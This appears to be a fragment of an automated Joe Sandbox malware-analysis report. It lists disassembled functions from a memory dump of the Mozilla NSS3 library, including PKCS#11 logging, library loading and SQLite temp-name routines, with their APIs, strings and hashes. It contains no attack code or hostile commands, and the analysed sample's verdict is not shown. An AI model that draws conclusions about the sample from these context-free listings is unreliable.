fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6C730D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C730D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6C730D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C730D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6C730D90
free.MOZGLUE(00000000), ref: 6C730D99

Strings

%ld[%p]: , xrefs: 6C730A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6C730A5B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 160728d67b2ff15633795413a4357fbf3162d11f1be25f61c2ee74917fa28ec6
Instruction ID: d6cae864db3c1ce0bff4909ffe81782c8dae97adb27282831e72a73644208dfc
Opcode Fuzzy Hash: 160728d67b2ff15633795413a4357fbf3162d11f1be25f61c2ee74917fa28ec6
Instruction Fuzzy Hash: BFA11670B012689FDF119B38CC48BEA3B78EF07318F1806B4F95993642DB71A994CB61

Function 6C6528A0 Relevance: 50.9, APIs: 12, Strings: 17, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6C6528BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C6528EF

Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730B88
Part of subcall function 6C7309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C730C5D
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C730C8D
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730C9C
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730CD1
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730CEC
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730CFB
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730D16
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C730D26
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D35
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C730D65
Part of subcall function 6C7309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C730D70
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730D90
Part of subcall function 6C7309D0: free.MOZGLUE(00000000), ref: 6C730D99

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C6528D6

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6C652963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C652983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6C6529A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6C6529C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6C652A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6C652A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6C652A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C652A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C652AB6

Strings

CKF_USER_PIN_INIT, xrefs: 6C6529E5
label = "%.32s", xrefs: 6C65295E
hardware version: %d.%d, xrefs: 6C652A89
CKF_WRITE_PROTECTED, xrefs: 6C6529FE, 6C652A1F
flags = %s %s %s %s, xrefs: 6C652A21
pInfo = 0x%p, xrefs: 6C6528EA
CKF_RNG, xrefs: 6C652A13, 6C652A20
model = "%.16s", xrefs: 6C65299E
firmware version: %d.%d, xrefs: 6C652AB1
maxRwSessions = %u, RwSessions = %u, xrefs: 6C652A61
slotID = 0x%x, xrefs: 6C6528D1
serial = "%.16s", xrefs: 6C6529BE
manufacturerID = "%.32s", xrefs: 6C65297E
nsl, xrefs: 6C65290B, 6C652937
CKF_LOGIN_REQUIRED, xrefs: 6C6529F3, 6C652A1E
C_GetTokenInfo, xrefs: 6C6528B8
maxSessions = %u, Sessions = %u, xrefs: 6C652A43

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo$nsl
API String ID: 2460313690-3829932299
Opcode ID: 45e7b333364a1628dad94fb76f4a7039981562b7d775cc3d5ae4f0dd94ad061c
Instruction ID: d398f62c75502bee8c1b45ece54fc5191d6329494a9816ec2b1e10297c10e26c
Opcode Fuzzy Hash: 45e7b333364a1628dad94fb76f4a7039981562b7d775cc3d5ae4f0dd94ad061c
Instruction Fuzzy Hash: A251FBB5602144AFEB008B54DE8DB553BB5AB4330DFA58074ED089BB13EB31DD14CB66

Function 6C610AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C610AD4

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3 ref: 6C610B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6C610B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6C610B54
WideCharToMultiByte.KERNEL32 ref: 6C610B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C610BC9
calloc.MOZGLUE(00000001,00000014), ref: 6C610BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6C610C15

Strings

Loaded library %s (load lib), xrefs: 6C610D6F
error %d, xrefs: 6C610D08

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: 2429027b780d14778b52f7d2a5513d20466f5d919356dc5d689f256cb604f096
Instruction ID: 6fcbe32f1918a3b7e14ed4d234320ac6d25665f3e95b1696a4e422a797cfd2ad
Opcode Fuzzy Hash: 2429027b780d14778b52f7d2a5513d20466f5d919356dc5d689f256cb604f096
Instruction Fuzzy Hash: 6C711970A092649BEF119F3DCD486AA77F8EF4A356F040079F809D7A40EB309A54CFA5

Function 6C6F6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5BBE66), ref: 6C6F6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5BBE66), ref: 6C6F6E98
sqlite3_snprintf.NSS3(?,00000000,6C75AAF9,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F6FA6
sqlite3_snprintf.NSS3(?,00000000,6C75AAF9,00000000,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5BBE66), ref: 6C6F701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F70A0

Strings

winGetTempname2, xrefs: 6C6F70C4
winGetTempname5, xrefs: 6C6F7071
mz_etilqs_, xrefs: 6C6F6F18
Psl, xrefs: 6C6F70A8
winGetTempname1, xrefs: 6C6F708F
winGetTempname4, xrefs: 6C6F7046

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Psl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3347618251
Opcode ID: a6e4b1736b0f306e8037e9cdc773f6fe5182f9fbaab3ae55b647dc975329d230
Instruction ID: f5108461a7ed39de5256cdbf60f723c7e184f247d7ff897033bcc60ce698cefd
Opcode Fuzzy Hash: a6e4b1736b0f306e8037e9cdc773f6fe5182f9fbaab3ae55b647dc975329d230
Instruction Fuzzy Hash: 4F517AB2A051216BE30096319C55FFF362B9FC3358F144538E82596BC2FB26D91F82DA

Function 6C658E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C658E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C658EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658EB3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C658EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C658EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C658F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658F29
PR_LogPrint.NSS3(?,00000000), ref: 6C658F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C658F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658F80
PR_LogPrint.NSS3(?,00000000), ref: 6C658F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C658FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C658FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C659047

Strings

pMechanism = 0x%p, xrefs: 6C658EE0
pWrappedKey = 0x%p, xrefs: 6C658FAD
C_WrapKey, xrefs: 6C658E71
pulWrappedKeyLen = 0x%p, xrefs: 6C658FC8
(CK_INVALID_HANDLE), xrefs: 6C658EAC, 6C658F1F, 6C658F79
*pulWrappedKeyLen = 0x%x, xrefs: 6C659042
nsl, xrefs: 6C658FEC, 6C659023
hSession = 0x%x, xrefs: 6C658E8E, 6C658E9E
hKey = 0x%x, xrefs: 6C658F5B, 6C658F6B
hWrappingKey = 0x%x, xrefs: 6C658F01, 6C658F11

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nsl
API String ID: 1003633598-3591424540
Opcode ID: 94df497a7af99bc9367a3261210ee80d4e3852bb70c4eaa3b9788495aa14974a
Instruction ID: b4d5b26f40407f5922d34bab574946ecb601708f9f34fa7e2316ee93d3c2118d
Opcode Fuzzy Hash: 94df497a7af99bc9367a3261210ee80d4e3852bb70c4eaa3b9788495aa14974a
Instruction Fuzzy Hash: 5C51FB31A52114AFDB009F10DE4CF9E7B76AB4B34DF644035F60867B22DB319929CB5A

Function 6C684FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000,00000000,00000001), ref: 6C685009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C685049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C68505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C685071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6850A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6850B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2), ref: 6C6850CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6850D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6850F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685153
free.MOZGLUE(?), ref: 6C68516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C68517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C685195

Strings

nss=, xrefs: 6C685083
parameters=, xrefs: 6C68506B
config=, xrefs: 6C68509B
name=, xrefs: 6C685057
library=, xrefs: 6C685043

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d8de8b461157aa7b91d990211ae905b8b3ff21b15f69ee09b470efab7ca203a4
Instruction ID: 140e7bafc6b63eebe567afb9d2653a6b7618ece63f78fc8c17ab1880aba10e4a
Opcode Fuzzy Hash: d8de8b461157aa7b91d990211ae905b8b3ff21b15f69ee09b470efab7ca203a4
Instruction Fuzzy Hash: 2251C6B5A022155BFB01DF24DC45AEF37A8AF0A349F140031EC56E7B41EB25E919C7BA

Function 6C684C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C5B
PR_smprintf.NSS3(6C75AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C684D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C684DA2
free.MOZGLUE(?), ref: 6C684DB9
free.MOZGLUE(00000000), ref: 6C684DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C684D9D
%s,%s, xrefs: 6C684C4B
every, xrefs: 6C684CA1
slotFlags, xrefs: 6C684D34
ootT, xrefs: 6C684D1A
timeout, xrefs: 6C684C91
any, xrefs: 6C684C96
rust, xrefs: 6C684D22
0x%08lx=[%s %s], xrefs: 6C684D80
rootFlags, xrefs: 6C684D47

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: bd410987731be97355c315fb71977247ec35522acfa5fa3afabfe7eee9c729b9
Instruction ID: ae133134ca70e6f88496ed3b20d6c89076a00cfdef07beb8aed4234c23bdd083
Opcode Fuzzy Hash: bd410987731be97355c315fb71977247ec35522acfa5fa3afabfe7eee9c729b9
Instruction Fuzzy Hash: F441BBB1D011456BDB129F249C54ABB3ABDAF86349F494134EC0A1BB01EBB1D924C7FB

Function 6C654950 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6C654976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6549A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6549B6

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C6549CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C6549FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654A09
PR_LogPrint.NSS3(?,00000000), ref: 6C654A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C654A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C654A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6C654A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6C654B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654B26
PR_LogPrint.NSS3(?,00000000), ref: 6C654B3C

Strings

hObject = 0x%x, xrefs: 6C6549E4, 6C6549F4
C_CopyObject, xrefs: 6C654971
phNewObject = 0x%p, xrefs: 6C654A77
(CK_INVALID_HANDLE), xrefs: 6C6549AF, 6C654A02, 6C654B1F
nsl, xrefs: 6C654AA6, 6C654ADC
pTemplate = 0x%p, xrefs: 6C654A39
ulCount = %d, xrefs: 6C654A57
hSession = 0x%x, xrefs: 6C654991, 6C6549A1
*phNewObject = 0x%x, xrefs: 6C654B01, 6C654B11

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject$nsl
API String ID: 1003633598-1505985352
Opcode ID: 8c1853de93ec934fc58ae00aded732baa9ef6950fe6738fb38800926320ad440
Instruction ID: f4d06609375449f088c1f9a635bee2100fd9a2b9f7a68fa989bc04838130b5b2
